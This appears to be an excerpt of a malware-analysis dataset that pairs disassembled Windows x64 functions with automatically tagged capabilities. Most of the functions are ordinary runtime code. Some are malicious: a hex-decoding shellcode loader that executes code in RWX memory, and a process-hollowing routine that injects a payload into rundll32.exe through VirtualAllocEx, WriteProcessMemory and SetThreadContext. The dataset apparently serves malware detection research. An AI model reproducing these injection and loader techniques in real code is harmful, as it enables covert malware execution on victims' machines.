joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10000124c
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
call fcn.100001180
add rsp, 0x28
jmp 0x100001270
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], r12
push r13
sub rsp, 0xb0
xor ebx, ebx
mov dword [rsp + 0x20], ebx
lea rcx, [rax - 0x78]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rdi, qword [rax + 8]
mov r12d, ebx
xor eax, eax
lock cmpxchg qword [section..data], rdi
jne 0x10000169f
mov eax, dword [0x100003014]
cmp eax, 1
je 0x1000016bf
mov eax, dword [0x100003014]
cmp eax, ebx
jne 0x1000016d6
mov dword [0x100003014], 1
lea r13, [0x100002168]
lea rdi, [0x100002150]
mov qword [rsp + 0x30], rdi
mov eax, ebx
mov dword [rsp + 0x24], ebx
cmp rdi, r13
jae 0x10000131c
cmp eax, ebx
jne 0x10000131c
mov rcx, qword [rdi]
cmp rcx, rbx
je 0x100001311
call rcx
mov dword [rsp + 0x24], eax
add rdi, 8
mov qword [rsp + 0x30], rdi
jmp 0x1000012fa
cmp eax, ebx
jne 0x1000016cc
mov eax, dword [0x100003014]
cmp eax, 1
jne 0x10000134c
lea rdx, [0x100002148]
lea rcx, [0x100002138]
call fcn.100157000
mov dword [0x100003014], 2
cmp r12d, ebx
jne 0x10000135b
mov rax, rbx
xchg qword [section..data], rax
cmp qword [0x1000035d8], rbx
jne 0x1000016e5
mov rcx, qword [sym.imp.msvcrt.dll__wcmdln]
cmp qword [rcx], rbx
je 0x10000170e
mov rcx, qword [rcx]
mov qword [rsp + 0x28], rcx
mov edx, dword [rsp + 0x20]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [rcx], 0x20
jbe 0x1000013ab
cmp word [rcx], 0x22
je 0x100001741
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x100001390
cmp word [rcx], bx
je 0x1000013b4
cmp edx, ebx
jne 0x100001396
cmp word [rcx], bx
je 0x1000013ca
cmp word [rcx], 0x20
ja 0x1000013ca
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x1000013b4
test byte [rsp + 0x7c], 1
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rcx
xor edx, edx
lea rcx, [0x100000000]
call fcn.100001400
nop
jmp 0x100001715
cmp rax, rdi
jne 0x1000016af
mov r12d, 1
jmp 0x1000012ba
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1000012a9
lea ecx, [rax + 0x1e]
call sub.msvcrt.dll__amsg_exit
jmp 0x100001324
mov eax, 0xff
jmp 0x100001780
mov dword [0x1000036e4], 1
jmp 0x100001324
lea rcx, [0x1000035d8]
call fcn.1000018fc
cmp eax, ebx
je 0x100001368
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
call qword [0x1000035d8]
nop
jmp 0x100001368
mov eax, 0xff
jmp 0x100001780
mov dword [0x1000036e0], eax
cmp dword [0x100003008], ebx
jne 0x10000172b
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x1000036e4], ebx
jne 0x10000173f
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x1000036e0]
jmp 0x100001780
mov eax, ebx
cmp edx, ebx
sete al
mov edx, eax
mov dword [rsp + 0x20], eax
jmp 0x1000013a0
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov r12, qword [r11 + 0x20]
mov rsp, r11
pop r13
ret
Function at 0x14000dbb8
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x14000dbf2
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x14000dbf7
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x14000dc40
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x1400106a0]
cmp byte [rcx + rax], 0
je 0x14000dc40
dec r8
sub rdx, 1
jne 0x14000dc26
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x14000e7bc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000e806
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000e806
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000e806
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000e806
cmp dword [rcx + 0x84], 0xe
jbe 0x14000e806
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000e808
xor al, al
add rsp, 0x28
ret

Function at 0x140017ca4
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140017ad0
Function at 0x403000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Terminate process

Disassembly:
mov rdx, rsp
mov rcx, qword [rdx + 8]
call fcn.00403069
xor rcx, rcx
cmp byte [rcx + rdi], 0
je 0x40301a
inc rcx
jmp 0x40300f
mov rdx, rcx
mov rcx, rdx
mov r8, 0x1000
or r8, 0x2000
mov r9, 0x40
call qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov qword [0x00402400], rax
mov rdx, rdi
mov rsi, qword [0x00402408]
mov rdi, section..bss
call sym.imp.MSVCRT.DLL_memcpy
mov rcx, qword [0x00402400]
call rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_ExitProcess]

Function at 0x403069
Capabilities:
Terminate process

Disassembly:
mov rsi, section..bss
mov rdi, section..bss
xor rcx, rcx
xor rdx, rdx
xor rax, rax
movzx rax, byte [rsi + rcx]
cmp al, 0x30
jl 0x4030ce
cmp al, 0x39
jg 0x403091
sub al, 0x30
jmp 0x40309b
cmp al, 0x41
jl 0x4030cf
cmp al, 0x46
jg 0x4030cf
sub al, 0x37
shl al, 4
movzx rax, byte [rsi + rcx + 1]
cmp al, 0x30
jl 0x4030cf
cmp al, 0x39
jg 0x4030b0
sub al, 0x30
jmp 0x4030ba
cmp al, 0x41
jl 0x4030cf
cmp al, 0x46
jg 0x4030cf
sub al, 0x37
add al, byte [rdi + rdx]
mov byte [rdi + rdx], al
inc rcx
inc rcx
inc rdx
cmp rcx, rdx
jl 0x403080
ret
mov rdx, str.Invalid_hex_character_detected.
call qword [sym.imp.KERNEL32.DLL_WriteConsoleA]
call qword [sym.imp.KERNEL32.DLL_ExitProcess]
Function at 0x6bac15b4
Capabilities:
Compare security identifiers

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x30
mov rsi, rcx
mov rdi, r8
mov rcx, rdx
mov qword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
lea rdx, [rsp + 0x28]
call qword [sym.imp.ADVAPI32.dll_ConvertStringSidToSidA]
test eax, eax
mov ebx, eax
je 0x6bac162d
lea rdx, [rsp + 0x20]
mov rcx, rsi
call fcn.6bac14b0
test eax, eax
mov ebx, eax
mov rdx, qword [rsp + 0x28]
mov rsi, qword [sym.imp.KERNEL32.dll_LocalFree]
jne 0x6bac160d
mov rcx, rdx
call rsi
jmp 0x6bac162d
mov ebx, 1
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.ADVAPI32.dll_EqualSid]
mov rcx, qword [rsp + 0x28]
mov dword [rdi], eax
call rsi
mov rcx, qword [rsp + 0x20]
call rsi
mov eax, ebx
add rsp, 0x30
pop rbx
pop rsi
pop rdi
ret

Function at 0x6bac1637
Capabilities:
Enumerate processes

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x158
xor edx, edx
mov rdi, rcx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rsi, rax
xor eax, eax
cmp rsi, 0xffffffffffffffff
je 0x6bac16ba
lea rbx, [rsp + 0x20]
mov rcx, rsi
mov dword [rsp + 0x20], 0x130
mov rdx, rbx
lea rbp, [rbx + 0x2c]
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x6bac1689
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x6bac16ba
mov rdx, rbp
mov rcx, rdi
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x6bac169e
mov ebx, dword [rsp + 0x28]
jmp 0x6bac16af
mov rdx, rbx
mov rcx, rsi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x6bac1689
xor ebx, ebx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
add rsp, 0x158
pop rbx
pop rsi
pop rdi
pop rbp
ret
Function at 0x6bac17c2
Capabilities:
Allocate or change rwx memory
Check mutex on windows
Create process on windows
Create thread
Execute shellcode via indirect call
Inject thread
Resume thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x5d8
mov rsi, rcx
mov qword [rsp + 0x60], 0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, 0x18
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
mov rbx, rax
je 0x6bac19e0
mov r8, rax
mov rdx, rsi
mov ecx, 4
call qword [sym.imp.KERNEL32.dll_GetModuleHandleExA]
lea r9, [rsp + 0x80]
xor ebp, ebp
mov ecx, 6
mov eax, ebp
lea r8, str.iUGAkBoi
mov edx, 1
mov rdi, r9
rep stosd dword [rdi], eax
mov dword [rsp + 0x80], 0x18
mov dword [rsp + 0x90], 1
mov rcx, r9
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
test rax, rax
mov qword [rbx + 8], rax
je 0x6bac19e0
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
call rsi
cmp eax, 0xb7
je 0x6bac1875
call rsi
cmp eax, 5
jne 0x6bac1884
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x6bac19e0
call fcn.6bac16c6
lea rdx, [rsp + 0x98]
mov rsi, rax
mov ecx, 0x1a
mov eax, ebp
xor r9d, r9d
lea r8, str.rundll32.exe
mov rdi, rdx
rep stosd dword [rdi], eax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x48], rdx
mov dword [rsp + 0x98], 0x68
xor edx, edx
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x30], 0x44
mov rcx, rsi
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
test eax, eax
je 0x6bac19ac
lea rdi, [rsp + 0x100]
mov rcx, qword [rsp + 0x70]
mov dword [rsp + 0x130], 0x100003
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
xor edx, edx
mov r9d, 0x1000
mov r8d, 0x800
mov rcx, qword [rsp + 0x68]
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbp, rax
lea rax, [rsp + 0x60]
mov r9d, 0x800
lea r8, section..data
mov rdx, rbp
mov rcx, qword [rsp + 0x68]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
cmp qword [rsp + 0x60], 0x800
jne 0x6bac19ac
mov rdx, rdi
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0x1f8], rbp
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0x68]
mov qword [rbx + 0x10], rax
test rsi, rsi
je 0x6bac19ba
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, rbx
lea r8, [0x6bac1420]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
add rsp, 0x5d8
pop rbx
pop rsi
pop rdi
pop rbp
ret
Function at 0x6bac1ec0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
movsxd rbp, dword [0x6bac85c4]
mov rbx, rcx
mov rsi, rdx
mov rdi, r8
test ebp, ebp
jle 0x6bac1fd7
mov rax, qword [0x6bac85c8]
xor edx, edx
add rax, 8
mov rcx, qword [rax]
cmp rbx, rcx
jb 0x6bac1f0d
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rcx, r8
cmp rbx, rcx
jb 0x6bac1fbd
add edx, 1
add rax, 0x18
cmp edx, ebp
jne 0x6bac1ef1
mov rcx, rbx
call fcn.6bac2b10
test rax, rax
mov r12, rax
je 0x6bac200f
lea rbp, [rbp + rbp*2]
shl rbp, 3
mov r13, rbp
add r13, qword [0x6bac85c8]
mov qword [r13 + 0x10], rax
mov dword [r13], 0
call fcn.6bac2c80
mov edx, dword [r12 + 0xc]
mov r8d, 0x30
add rax, rdx
lea rdx, [rsp + 0x20]
mov qword [r13 + 8], rax
mov rax, qword [0x6bac85c8]
mov rcx, qword [rax + rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x6bac1ff2
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x6bac1fb6
sub eax, 4
and eax, 0xfffffffb
je 0x6bac1fb6
mov r9, rbp
add r9, qword [0x6bac85c8]
mov r8d, 0x40
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x6bac1fde
add dword [0x6bac85c4], 1
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
jmp 0x6bac2eb8
xor ebp, ebp
jmp 0x6bac1f18
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.6bac1e50
mov rax, qword [0x6bac85c8]
mov edx, dword [r12 + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbp + 8]
call fcn.6bac1e50
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.6bac1e50
nop
nop
jmp qword [sym.imp.msvcrt.dll_memcpy]

Function at 0x6bac2770
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x6bac88a0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x6bac8880]
test rbx, rbx
je 0x6bac27c4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x6bac27bb
test rsi, rsi
je 0x6bac27bb
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x6bac27a0
lea rcx, [0x6bac88a0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x6bac2b10
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6bac51e0]
xor r9d, r9d
mov rdx, rcx
cmp word [r8], 0x5a4d
je 0x6bac2b31
mov rax, r9
add rsp, 0x28
ret
mov rcx, r8
call fcn.6bac29e0
test eax, eax
je 0x6bac2b29
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6bac2b29
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6bac2b84
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6bac2ba0
add rax, 0x28
cmp rax, r9
jne 0x6bac2b70
xor r9d, r9d
mov rax, r9
add rsp, 0x28
ret
mov r9, rax
mov rax, r9
add rsp, 0x28
ret
Function at 0x1400111f9
Capabilities:
Terminate process

Disassembly:
jmp 0x140015620
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011280
Capabilities:
Parse pe header

Disassembly:
jmp 0x140013df0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140013e10
xor al, al
jmp 0x140013e91
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140013e23
xor al, al
jmp 0x140013e91
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140013e4d
xor al, al
jmp 0x140013e91
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140013e61
xor al, al
jmp 0x140013e91
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140013e73
xor al, al
jmp 0x140013e91
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140013e8f
xor al, al
jmp 0x140013e91
mov al, 1
add rsp, 0x38
ret
Function at 0x140004510
Capabilities:
Generate random numbers via rtlgenrandom
Generate random numbers via winapi

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0xc0
mov rsi, rdx
mov rdi, rcx
xorps xmm0, xmm0
movaps xmmword [rsp + 0x30], xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rdx, [rsp + 0x20]
xor ecx, ecx
mov r8d, 0x20
mov r9d, 2
call qword [sym.imp.bcrypt.dll_BCryptGenRandom]
cmp eax, 0xc0000000
jb 0x140004563
mov ebx, eax
lea rcx, [rsp + 0x20]
mov edx, 0x20
call qword [sym.imp.advapi32.dll_SystemFunction036]
test al, al
je 0x1400045b0
movaps xmm0, xmmword [rsp + 0x20]
movaps xmm1, xmmword [rsp + 0x30]
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0x40], xmm0
mov rax, qword [0x1401822d8]
test rax, rax
je 0x1400045ea
test eax, 0x4000
jne 0x1400045f6
mov rax, qword [rsp + 0x40]
movaps xmm0, xmmword [rsp + 0x40]
movaps xmm1, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0x60], xmm0
movaps xmmword [rsp + 0x70], xmm1
xorps xmm0, xmm0
movaps xmmword [rsp + 0x80], xmm0
jmp 0x140004611
and ebx, 0x7fffffff
je 0x140004563
movzx eax, byte [0x140182310]
mov edx, 4
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140004690
mov dword [rax], ebx
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rax
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140004662
call fcn.140110f30
test eax, 0x4000
je 0x14000458a
lea r8, [0x14014ccd0]
lea rcx, [rsp + 0x60]
lea rdx, [rsp + 0x40]
call fcn.14004a610
mov rax, qword [rsp + 0x60]
movups xmm0, xmmword [rsp + 0x68]
movups xmm1, xmmword [rsp + 0x78]
movaps xmmword [rsp + 0x90], xmm0
movaps xmmword [rsp + 0xa0], xmm1
mov rcx, qword [rsp + 0x88]
mov qword [rsp + 0xb0], rcx
mov qword [rdi], rax
movaps xmm0, xmmword [rsp + 0x90]
movaps xmm1, xmmword [rsp + 0xa0]
movups xmmword [rdi + 8], xmm0
movups xmmword [rdi + 0x18], xmm1
mov rax, qword [rsp + 0xb0]
mov qword [rdi + 0x28], rax
mov qword [rdi + 0x40], 0
mov rax, 0xffffffffffffff00
add rax, qword [rdi + 0x30]
mov qword [rdi + 0x38], rax
mov rcx, rdi
mov rdx, rsi
call fcn.14004a630
nop
add rsp, 0xc0
pop rbx
pop rdi
pop rsi
ret
mov ecx, 4
mov edx, 4
call fcn.1401082c0
int3
Function at 0x140007050
Capabilities:
Encode data using xor

Disassembly:
push rsi
push rdi
push rbx
mov rax, rcx
add qword [rcx + 0x30], r8
mov r11, qword [rcx + 0x40]
test r11, r11
je 0x140007092
mov r10d, 8
sub r10, r11
cmp r8, r10
mov rdi, r10
cmovb rdi, r8
cmp rdi, 4
jb 0x14000709a
mov esi, dword [rdx]
mov r9d, 4
mov rcx, r9
or rcx, 1
cmp rcx, rdi
jb 0x1400070ab
jmp 0x1400070c2
xor r10d, r10d
jmp 0x14000714d
xor esi, esi
xor r9d, r9d
mov rcx, r9
or rcx, 1
cmp rcx, rdi
jae 0x1400070c2
movzx ebx, word [rdx + r9]
lea ecx, [r9*8]
shl rbx, cl
or rsi, rbx
or r9, 2
cmp r9, rdi
jae 0x1400070d9
movzx edi, byte [rdx + r9]
shl r9d, 3
mov ecx, r9d
shl rdi, cl
or rsi, rdi
lea ecx, [r11*8]
shl rsi, cl
or rsi, qword [rax + 0x38]
mov qword [rax + 0x38], rsi
cmp r10, r8
jbe 0x1400070f9
add r11, r8
jmp 0x14000722b
mov r11, qword [rax + 0x18]
mov r9, qword [rax + 0x10]
mov rcx, qword [rax]
add rcx, r9
rol r9, 0xd
xor r11, rsi
xor r9, rcx
rol rcx, 0x20
mov rdi, qword [rax + 8]
add rdi, r11
rol r11, 0x10
xor r11, rdi
add rcx, r11
rol r11, 0x15
xor r11, rcx
add rdi, r9
rol r9, 0x11
mov qword [rax + 0x18], r11
xor r9, rdi
rol rdi, 0x20
mov qword [rax + 0x10], r9
mov qword [rax + 8], rdi
xor rcx, rsi
mov qword [rax], rcx
sub r8, r10
mov r11d, r8d
and r11d, 7
and r8, 0xfffffffffffffff8
cmp r10, r8
jae 0x1400071c2
mov rcx, qword [rax]
mov r9, qword [rax + 8]
mov rdi, qword [rax + 0x18]
mov rsi, qword [rax + 0x10]
nop
add rcx, rsi
rol rsi, 0xd
mov rbx, qword [rdx + r10]
xor rsi, rcx
rol rcx, 0x20
xor rdi, rbx
add r9, rdi
rol rdi, 0x10
xor rdi, r9
add rcx, rdi
rol rdi, 0x15
add r9, rsi
rol rsi, 0x11
xor rsi, r9
rol r9, 0x20
xor rdi, rcx
xor rcx, rbx
add r10, 8
cmp r10, r8
jb 0x140007170
mov qword [rax + 0x18], rdi
mov qword [rax + 0x10], rsi
mov qword [rax + 8], r9
mov qword [rax], rcx
cmp r11d, 4
jb 0x1400071e0
mov r9d, dword [rdx + r10]
mov r8d, 4
mov rcx, r8
or rcx, 1
cmp rcx, r11
jb 0x1400071f2
jmp 0x14000720d
xor r9d, r9d
xor r8d, r8d
mov rcx, r8
or rcx, 1
cmp rcx, r11
jae 0x14000720d
lea rcx, [rdx + r8]
movzx esi, word [r10 + rcx]
lea ecx, [r8*8]
shl rsi, cl
or r9, rsi
or r8, 2
cmp r8, r11
jae 0x140007227
add r10, r8
movzx edx, byte [rdx + r10]
shl r8d, 3
mov ecx, r8d
shl rdx, cl
or r9, rdx
mov qword [rax + 0x38], r9
mov qword [rax + 0x40], r11
pop rbx
pop rdi
pop rsi
ret
Function at 0x14000ba40
Capabilities:
Allocate or change rwx memory
Check if file exists
Create thread
Enumerate files on windows
Execute shellcode via indirect call
Get common file path
Inject thread
Set environment variable
Spawn thread to rwx shellcode

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x988
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x8f0], xmm6
mov qword [rbp + 0x8e8], 0xfffffffffffffffe
mov qword [rbp + 0x8c0], rdx
mov r14, rcx
movzx eax, byte [rcx + 0x148]
lea rbx, [0x140114278]
test eax, eax
mov qword [rbp + 0x778], rcx
je 0x14000bb1d
cmp eax, 3
jne 0x14000bcc3
lea r15, [r14 + 0x140]
movzx eax, byte [r14 + 0x140]
test eax, eax
je 0x14000bcc1
cmp eax, 3
jne 0x14000bd0a
lea rsi, [r14 + 8]
cmp dword [r14 + 8], 2
je 0x14000c0d8
mov qword [rbp + 0x510], rbx
mov qword [rbp + 0x518], 1
mov qword [rbp + 0x520], 8
xorps xmm6, xmm6
movups xmmword [rbp + 0x528], xmm6
lea rcx, [rbp + 0x510]
call fcn.1400de310
mov qword [rbp + 0x510], 0
lea rcx, [rbp + 0x510]
call qword [sym.imp.kernel32.dll_GetSystemTimePreciseAsFileTime]
mov r8, qword [rbp + 0x510]
movabs rax, 0x19db1ded53e8000
mov rdx, r8
sub rdx, rax
neg rdx
movabs rcx, 0xfe624e212ac18000
add rcx, r8
cmp r8, rax
cmovl rcx, rdx
movabs rdx, 0xd6bf94d5e57a42bd
mov rax, rcx
mul rdx
shr rdx, 0x17
imul eax, edx, 0x989680
sub ecx, eax
movabs rax, 0x19db1ded53e7fff
cmp r8, rax
jle 0x14000bccf
imul rax, rdx, 0x3e8
mov ecx, ecx
mov edx, 0xd1b71759
imul rdx, rcx
shr rdx, 0x2d
add rdx, rax
mov qword [rbp + 0x360], rdx
mov qword [rbp + 0x368], 0
lea rax, [rbp + 0x360]
mov qword [rbp + 0x1d8], rax
lea rax, [0x140016800]
mov qword [rbp + 0x1e0], rax
lea rax, str.Time:
mov qword [rbp + 0x510], rax
mov qword [rbp + 0x518], 2
mov qword [rbp + 0x530], 0
lea rax, [rbp + 0x1d8]
mov qword [rbp + 0x520], rax
mov qword [rbp + 0x528], 1
lea rcx, [rbp + 0x510]
call fcn.1400de310
mov qword [rbp + 0x510], rbx
mov qword [rbp + 0x518], 1
mov qword [rbp + 0x520], 8
movups xmmword [rbp + 0x528], xmm6
lea rcx, [rbp + 0x510]
call fcn.1400de310
mov qword [rbp + 0x510], rbx
mov qword [rbp + 0x518], 1
mov qword [rbp + 0x520], 8
movups xmmword [rbp + 0x528], xmm6
lea rcx, [rbp + 0x510]
call fcn.1400de310
mov ecx, 5
call fcn.1400d5aa0
jmp 0x14000bd16
jmp 0x14000bd25
lea rcx, str.src_main.rs
call fcn.140108b60
imul eax, ecx, 0x64
mov qword [rbp + 0x510], rdx
mov dword [rbp + 0x518], eax
lea rax, str.src_main.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140113e78]
lea r8, [rbp + 0x510]
mov edx, 0x2b
call fcn.1401088e0
lea rcx, str.src_main.rs
call fcn.140108b60
Function at 0x140017e10
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x20
lea rbp, [rsp + 0x20]
mov rax, rdx
mov rsi, qword [rbp + 0x70]
mov rdi, qword [rbp + 0x68]
mov rdx, qword [rbp + 0x60]
mov ebx, ecx
shr ebx, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov r15, rax
movzx r14d, byte [rax + 1]
add rax, 2
lea r10, [r11 + r14]
cmp byte [r15], bl
jne 0x140017e90
cmp r11, r10
ja 0x140017f07
cmp r10, rdx
ja 0x140017f19
add r11, r9
xor r15d, r15d
nop dword [rax + rax]
cmp r14, r15
je 0x140017e92
lea r12, [r15 + 1]
cmp byte [r11 + r15], cl
mov r15, r12
jne 0x140017e70
jmp 0x140017ef4
ja 0x140017e9a
mov r11, r10
cmp rax, r8
jne 0x140017e3e
add rsi, rdi
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r8, [rdi + 1]
movzx edx, byte [rdi]
test dl, dl
js 0x140017ed0
mov rdi, r8
sub ecx, edx
jns 0x140017eeb
jmp 0x140017ef6
cmp r8, rsi
je 0x140017f28
movzx r8d, byte [rdi + 1]
add rdi, 2
and edx, 0x7f
shl edx, 8
or edx, r8d
sub ecx, edx
js 0x140017ef6
xor al, 1
cmp rdi, rsi
jne 0x140017eb0
jmp 0x140017ef6
xor eax, eax
and al, 1
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.140108810
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.140108620
lea rcx, str.librarycore_srcunicodeprintable.rs
call fcn.140108970
int3